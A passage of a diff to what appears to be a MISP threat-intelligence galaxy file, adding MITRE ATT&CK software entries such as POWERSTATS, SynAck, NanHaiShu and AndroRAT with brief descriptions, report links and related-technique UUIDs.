"estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c", + "value": "TURNEDUP - S0199" + }, + { + "description": "[CCBkdr](https://attack.mitre.org/software/S0222) is malware that was injected into a signed version of CCleaner and distributed from CCleaner's distribution website. (Citation: Talos CCleanup 2017) (Citation: Intezer Aurora Sept 2017)", + "meta": { + "external_id": "S0222", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0222", + "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html", + "http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/" + ], + "synonyms": [ + "CCBkdr" + ] + }, + "related": [ + { + "dest-uuid": "3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "b0f13390-cec7-4814-b37c-ccec01887faa", + "value": "CCBkdr - S0222" + }, + { + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) is a PowerShell-based first stage backdoor used by [MuddyWater](https://attack.mitre.org/groups/G0069). (Citation: Unit 42 MuddyWater Nov 2017)", + "meta": { + "external_id": "S0223", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0223", + "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + ], + "synonyms": [ + "POWERSTATS" + ] + }, + "related": [ + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "772bc7a8-a157-42cc-8728-d648e25c7fe7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "e8545794-b98c-492b-a5b3-4b5a02682e37", + "value": "POWERSTATS - S0223" + }, + { + "description": "[HummingBad](https://attack.mitre.org/software/S0322) is a family of Android malware that generates fraudulent advertising revenue and has the ability to obtain root access on older, vulnerable versions of Android. (Citation: ArsTechnica-HummingBad)", + "meta": { + "external_id": "S0322", + "refs": [ + "https://attack.mitre.org/software/S0322", + "http://arstechnica.com/security/2016/07/virulent-auto-rooting-malware-takes-control-of-10-million-android-devices/" + ], + "synonyms": [ + "HummingBad" + ] + }, + "related": [ + { + "dest-uuid": "f5cacc72-f02a-42d1-a020-7a59650086bb", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "76c12fc8-a4eb-45d6-a3b7-e371a7248f69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "c8770c81-c29f-40d2-a140-38544206b2b4", + "value": "HummingBad - S0322" + }, + { + "description": "[HOMEFRY](https://attack.mitre.org/software/S0232) is a 64-bit Windows password dumper/cracker that has previously been used in conjunction with other [Leviathan](https://attack.mitre.org/groups/G0065) backdoors. (Citation: FireEye Periscope March 2018)", + "meta": { + "external_id": "S0232", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0232", + "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + ], + "synonyms": [ + "HOMEFRY" + ] + }, + "related": [ + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "7451bcf9-e6e6-4a70-bc3d-1599173d0035", + "value": "HOMEFRY - S0232" + }, + { + "description": "[SynAck](https://attack.mitre.org/software/S0242) is variant of Trojan ransomware targeting mainly English-speaking users since at least fall 2017. (Citation: SecureList SynAck Doppelgänging May 2018) (Citation: Kaspersky Lab SynAck May 2018)", + "meta": { + "external_id": "S0242", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0242", + "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/", + "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging" + ], + "synonyms": [ + "SynAck" + ] + }, + "related": [ + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c1a452f3-6499-4c12-b7e9-a6a0a102af76", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "04227b24-7817-4de1-9050-b7b1b57f5866", + "value": "SynAck - S0242" + }, + { + "description": "[NDiskMonitor](https://attack.mitre.org/software/S0272) is a custom backdoor written in .NET that appears to be unique to [Patchwork](https://attack.mitre.org/groups/G0040). (Citation: TrendMicro Patchwork Dec 2017)", + "meta": { + "external_id": "S0272", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0272", + "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + ], + "synonyms": [ + "NDiskMonitor" + ] + }, + "related": [ + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "d1183cb9-258e-4f2f-8415-50ac8252c49e", + "value": "NDiskMonitor - S0272" + }, + { + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) is a remote access tool and JScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). [NanHaiShu](https://attack.mitre.org/software/S0228) has been used to target government and private-sector organizations that have relations to the South China Sea dispute. (Citation: Proofpoint Leviathan Oct 2017) (Citation: fsecure NanHaiShu July 2016)", + "meta": { + "external_id": "S0228", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0228", + "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets", + "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf" + ], + "synonyms": [ + "NanHaiShu" + ] + }, + "related": [ + { + "dest-uuid": "7abd6950-7a07-4d9e-ade1-62414fa50619", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "705f0783-5f7d-4491-b6b7-9628e6e006d2", + "value": "NanHaiShu - S0228" + }, + { + "description": "[MacSpy](https://attack.mitre.org/software/S0282) is a malware-as-a-service offered on the darkweb (Citation: objsee mac malware 2017).", + "meta": { + "external_id": "S0282", + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0282", + "https://objective-see.com/blog/blog_0x25.html" + ], + "synonyms": [ + "MacSpy" + ] + }, + "related": [ + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dd901512-6e37-4155-943b-453e3777b125", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7d751199-05fa-4a72-920f-85df4506c76c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "f72251cb-2be5-421f-a081-99c29a1209e7", + "value": "MacSpy - S0282" + }, + { + "description": "[AndroRAT](https://attack.mitre.org/software/S0292) is malware that allows a third party to control the device and collect information. (Citation: Lookout-EnterpriseApps)", + "meta": { + "external_id": "S0292", + "refs": [ + "https://attack.mitre.org/software/S0292", + "https://blog.lookout.com/blog/2016/05/25/spoofed-apps/" + ], + "synonyms": [ + "AndroRAT" + ] + }, + "related": [ + { + "dest-uuid": "80447111-8085-40a4-a052-420926091ac6", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "a3dad2be-ce62-4440-953b-00fbce7aba93", + "value": "AndroRAT - S0292" + }, + { + "description": "[Orz](https://attack.mitre.org/software/S0229) is a custom JavaScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)", + "meta": { + "external_id": "S0229", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0229", + "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets", + "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + ], + "synonyms": [ + "AIRBREAK", + "Orz" + ] + }, + "related": [ + { + "dest-uuid": "fd419da6-5c0d-461e-96ee-64397efac63b", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "value": "Orz - S0229" + }, + { + "description": "[Charger](https://attack.mitre.org/software/S0323) is Android malware that steals steals contacts and SMS messages from the user's device. It can also lock the device and demand ransom payment if it receives admin permissions. (Citation: CheckPoint-Charger)", + "meta": { + "external_id": "S0323", + "refs": [ + "https://attack.mitre.org/software/S0323", + "http://blog.checkpoint.com/2017/01/24/charger-malware/" + ], + "synonyms": [ + "Charger" + ] + }, + "related": [ + { + "dest-uuid": "6e0545df-8df6-4990-971c-e96c4c60d561", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "d1c600f8-0fb6-4367-921b-85b71947d950", + "value": "Charger - S0323" + }, + { + "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) is a reconnaissance tool used by [Leviathan](https://attack.mitre.org/groups/G0065). (Citation: FireEye Periscope March 2018)", + "meta": { + "external_id": "S0233", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0233", + "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + ], + "synonyms": [ + "MURKYTOP" + ] + }, + "related": [ + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "049ff071-0b3c-4712-95d2-d21c6aa54501", + "value": "MURKYTOP - S0233" + }, + { + "description": "[Bandook](https://attack.mitre.org/software/S0234) is a commercially available RAT, written in Delphi, which has been available since roughly 2007 (Citation: EFF Manul Aug 2016) (Citation: Lookout Dark Caracal Jan 2018).", + "meta": { + "external_id": "S0234", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0234", + "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf", + "https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf" + ], + "synonyms": [ + "Bandook" + ] + }, + "related": [ + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "835a79f1-842d-472d-b8f4-d54b545c341b", + "value": "Bandook - S0234" + }, + { + "description": "[DealersChoice](https://attack.mitre.org/software/S0243) is a Flash exploitation framework used by [APT28](https://attack.mitre.org/groups/G0007). (Citation: Sofacy DealersChoice)", + "meta": { + "external_id": "S0243", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0243", + "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/" + ], + "synonyms": [ + "DealersChoice" + ] + }, + "related": [ + { + "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "8f460983-1bbb-4e7e-8094-f0b5e720f658", + "value": "DealersChoice - S0243" + }, + { + "description": "[SpyDealer](https://attack.mitre.org/software/S0324) is Android malware that exfiltrates sensitive data from Android devices. (Citation: PaloAlto-SpyDealer)", + "meta": { + "external_id": "S0324", + "refs": [ + "https://attack.mitre.org/software/S0324", + "https://researchcenter.paloaltonetworks.com/2017/07/unit42-spydealer-android-trojan-spying-40-apps/" + ], + "synonyms": [ + "SpyDealer" + ] + }, + "related": [ + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2204c371-6100-4ae0-82f3-25c07c29772a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + 